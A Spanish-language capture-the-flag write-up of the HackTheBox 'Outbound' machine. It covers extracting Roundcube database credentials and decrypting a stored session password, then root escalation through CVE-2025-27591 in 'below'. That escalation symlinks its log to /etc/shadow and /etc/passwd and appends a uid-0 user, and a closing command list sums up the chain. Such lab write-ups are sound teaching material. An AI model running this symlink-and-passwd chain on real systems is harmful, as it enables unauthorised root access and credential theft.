Outbound expone una version de RoundCube vulnerable, tras la explotacion logramos acceso inicial. Accedimos a un primero usuario con la contrasena para la base de datos. Esta ultima almacena las sesiones de usuarios donde obtuvimos la contrasena de un usuario. Las credenciales expuestas en un correo permitieron el acceso por el servicio SSH. Finalmente escalamos privilegios con el comando below a traves de un enlace simbolico.
La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.
As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Jul 12 19:27:16 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.77Nmap scan report for 10.10.11.77
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)80/tcp open http nginx 1.24.0 (Ubuntu)|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 12 19:27:32 2025 -- 1 IP address (1 host up) scanned in 15.29 seconds
Services Access
El par de credenciales no funcionan en el servcio SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh tyler@10.10.11.77
The authenticity of host '10.10.11.77 (10.10.11.77)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.77' (ED25519) to the list of known hosts.
tyler@10.10.11.77's password:
Permission denied, please try again.
tyler@10.10.11.77's password:
Permission denied, please try again.
tyler@10.10.11.77's password:
tyler@10.10.11.77: Permission denied (publickey,password).
❯
Web Site
El sitio web nos redirige al dominio mail.outbound.htb el cual agregamos al archivo /etc/hosts.
$ ls config
config.inc.php
config.inc.php.sample
defaults.inc.php
mimetypes.php
$ cat config/config.inc.php | grep -v "// "<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |||| This is a sample configuration file only containing the minimum || setup required for a functional installation. Copy more options || from defaults.inc.php to this file to override the defaults. |||| This file is part of the Roundcube Webmail client || Copyright (C) The Roundcube Dev Team |||| Licensed under the GNU General Public License version 3 or || any later version with exceptions for skins & plugins. || See the README file for a full license statement. | +-----------------------------------------------------------------------+
*/
$config=[];$config['db_dsnw']='mysql://roundcube:RCDBPass2025@localhost/roundcube';$config['imap_host']='localhost:143';$config['smtp_host']='localhost:587';$config['smtp_user']='%u';$config['smtp_pass']='%p';$config['support_url']='';$config['product_name']='Roundcube Webmail';$config['des_key']='rcmail-!24ByteDESkey*Str';$config['plugins']=['archive',
'zipdownload',
];$config['skin']='elastic';$config['default_host']='localhost';$config['smtp_server']='localhost';$
www-data@mail:/var/www/html/roundcube/public_html$ mysql -u roundcube -p
Enter password: RCDBPass2025
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 297Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;+--------------------+
| Database |+--------------------+
| information_schema || roundcube |+--------------------+
2 rows in set(0.001 sec)MariaDB [(none)]> use roundcube;Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [roundcube]> show tables;+---------------------+
| Tables_in_roundcube |+---------------------+
| cache || cache_index || cache_messages || cache_shared || cache_thread || collected_addresses || contactgroupmembers || contactgroups || contacts || dictionary || filestore || identities || responses || searches || session || system || users |+---------------------+
17 rows in set(0.000 sec)MariaDB [roundcube]> select username, last_login, preferences from users;+----------+---------------------+-----------------------------------------------------------+
| username | last_login | preferences |+----------+---------------------+-----------------------------------------------------------+
| jacob | 2025-06-11 07:52:49 | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}|| mel | 2025-06-08 13:29:05 | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}|| tyler | 2025-08-30 08:24:47 | a:2:{s:11:"client_hash";s:16:"ORT9K3CcgoLcTo2N";i:0;b:0;}|+----------+---------------------+-----------------------------------------------------------+
MariaDB [roundcube]>
User Password
Porque roundcube es un cliente de correos no almacena contrasenas en la base de datos. Pero por ser un cliente de alguna manera mantiene la sesion activa, esto se muestra en la tabla session donde se almacena la configuracion de la sesion del usuario.
1
2
3
4
5
6
7
8
9
10
11
12
MariaDB [roundcube]> describe session;+---------+--------------+------+-----+---------------------+-------+
| Field | Type | Null | Key | Default | Extra |+---------+--------------+------+-----+---------------------+-------+
| sess_id | varchar(128)| NO | PRI | NULL ||| changed | datetime | NO | MUL | 1000-01-01 00:00:00 ||| ip | varchar(40)| NO || NULL ||| vars | mediumtext | NO || NULL ||+---------+--------------+------+-----+---------------------+-------+
4 rows in set(0.001 sec)MariaDB [roundcube]>
Si observamos, existen multiples sessiones, solicitamos la mas antigua.
El valor de vars contiene la contrasena y usuario para la sesion, en este caso el usuario jacob.
Decrypt Password
Roundcube usa el cifrado DES-EDE3-CBC para encriptar y desencriptar una string, en este caso el valor de la contrasena. La key la encontramos en el archivo config.inc.php anteriormente, la cual es la key por default.
Utilizamos el codigo de roundcube para desencriptar la contrasena.
Utilizamos esta contrasena para cambiar al usuario jacob.
1
2
3
4
5
6
www-data@mail:/var/www/html/roundcube/public_html$ su jacob
Password: 595mO8DmwGeD
jacob@mail:/var/www/html/roundcube/public_html$ whoami;id
jacob
uid=1001(jacob)gid=1001(jacob)groups=1001(jacob)jacob@mail:/var/www/html/roundcube/public_html$
Uno de los correos dirigidos a jacob menciona una contrasena para este usuario.
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
jacob@mail:~$ cat /var/mail/jacob
cat /var/mail/jacob
From MAILER_DAEMON Sat Jun 07 13:59:11 2025Date: Sat, 07 Jun 2025 13:59:11 +0000
From: Mail System Internal Data <MAILER-DAEMON@mail>
Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
Message-ID: <1749304751@mail>
X-IMAP: 17493045180000000003Status: RO
This text is part of the internal format of your mail folder, and is not
a real message. It is created automatically by the mail system software.
If deleted, important folder data will be lost, and it will be re-created
with the data reset to initial values.
From tyler@outbound.htb Sat Jun 7 14:00:58 2025Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000) id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain;charset="UTF-8"Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC)From: tyler@outbound.htb
X-UID: 2Status: O
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
From mel@outbound.htb Sun Jun 8 12:09:45 2025Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002) id 1487E22C; Sun, 8 Jun 2025 12:09:45 +0000 (UTC)To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain;charset="UTF-8"Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun, 8 Jun 2025 12:09:45 +0000 (UTC)From: mel@outbound.htb
X-UID: 3Status: O
We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.
Thanks!
Mel
jacob@mail:~$
Verificamos la contrasena en el servicio ssh y esta es aceptada.
❯ ssh jacob@10.10.11.77
jacob@10.10.11.77's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Jul 13 04:08:30 AM UTC 2025 System load: 0.24 Processes: 265 Usage of /: 70.5% of 6.73GB Users logged in: 0 Memory usage: 10% IPv4 address for eth0: 10.10.11.77
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Jul 10 11:44:49 2025 from 10.10.14.77
jacob@outbound:~$ whoami;id
jacob
uid=1002(jacob)gid=1002(jacob)groups=1002(jacob),100(users)jacob@outbound:~$ ls
user.txt
jacob@outbound:~$ cat user.txt
c2c5fa4ac9d908533ff85a7d1cb42a9b
jacob@outbound:~$
jacob@outbound:~$ sudo -l -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
Sudoers entry: /etc/sudoers
RunAsUsers: ALL
RunAsGroups: ALL
Options: !authenticate
Commands:
/usr/bin/below *
!/usr/bin/below --config*
!/usr/bin/below --debug*
!/usr/bin/below -d*
jacob@outbound:~$
Al ejecutar este comando este muestra recursos utilizados por los servicios en la maquina.
CVE-2025-27591
Below tiene una vulnerabilidad que permite escalar privilegios por medio de un Symlink al archivo /var/log/below/error_root.log. Al ejecutar below este le da permisos de lectura y escritura (0666 - rw-rw-rw-) al archivo. Al crear un symlink de error_root.log a /etc/shadow, permitiria la lectura y escritura a este.
Intentamos recrear la explotacion creando un symlink a /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
jacob@outbound:~$ ls -lah /var/log/below/
total 16K
drwxrwxrwx 3 root root 4.0K Jul 13 04:27 .
drwxrwxr-x 13 root syslog 4.0K Jul 13 03:01 ..
-rw-rw-rw- 1 jacob jacob 698 Jul 13 04:16 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 13 04:27 error_root.log
drwxr-xr-x 2 root root 4.0K Jul 13 03:00 store
jacob@outbound:~$ rm /var/log/below/error_root.log
jacob@outbound:~$ ln -sf /etc/shadow /var/log/below/error_root.log
jacob@outbound:~$ ls -lah /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob 11 Jul 13 04:28 /var/log/below/error_root.log -> /etc/shadow
jacob@outbound:~$ ls -lah /etc/shadow
-rw-r----- 1 root root 1.2K Jul 13 04:28 /etc/shadow
jacob@outbound:~$
Tras ejecutar below como root este no muestra cambios en este archivo.
1
2
3
4
5
6
7
8
jacob@outbound:~$ sudo below record
thread 'main' panicked at below/src/open_source/logging.rs:75:29:
Failed to open log path: Os { code: 1, kind: PermissionDenied, message: "Operation not permitted"}note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
jacob@outbound:~$ ls -lah /etc/shadow
-rw-r----- 1 root shadow 1.2K Jul 13 04:30 /etc/shadow
jacob@outbound:~$
Intentamos con el archivo /etc/passwd.
1
2
3
4
5
6
jacob@outbound:~$ ln -sf /etc/passwd /var/log/below/error_root.log
jacob@outbound:~$ ls -lah /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob 11 Jul 13 04:33 /var/log/below/error_root.log -> /etc/shadow
jacob@outbound:~$ ls -lah /etc/passwd
-rw-r--r-- 1 root root 1.2K Jul 13 04:33 /etc/passwd
jacob@outbound:~$
Tras ejecutar nuevamente below este muestra que los permisos cambiaron.
1
2
3
4
5
6
7
8
9
jacob@outbound:~$ sudo below record
Jul 13 04:34:22.066 DEBG Starting up!
Jul 13 04:34:22.067 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01752364800: EAGAIN: Try again
-------------------------------------------------------------
jacob@outbound:~$ ls -lah /etc/passwd
-rw-rw-rw- 1 root root 1.8K Jul 13 04:34 /etc/passwd
jacob@outbound:~$
Shell
Al tener permisos de escritura sobre /etc/passwd agregamos un nuevo usuario root. Al cambiar a este usuario logramos obtener root y la flag root.txt.
1
2
3
4
5
6
7
8
9
jacob@outbound:~$ echo"sckull:$(openssl passwd -1 sckull):0:0:root:/root:/bin/bash" >> /etc/passwd
jacob@outbound:~$ su sckull
Password:
root@outbound:/home/jacob# cdroot@outbound:~# ls
root.txt
root@outbound:~# cat root.txt
bd33658a197d98897d10093eff0cca68
root@outbound:~#
Commands
1
2
3
4
5
6
7
8
9
10
# delete log filerm /var/log/below/error_root.log
# create symlinkln -sf /etc/passwd /var/log/below/error_root.log
# run below commandsudo below record
# add new user to /etc/passwdecho"sckull:$(openssl passwd -1 sckull):0:0:root:/root:/bin/bash" >> /etc/passwd
# change to that usersu sckull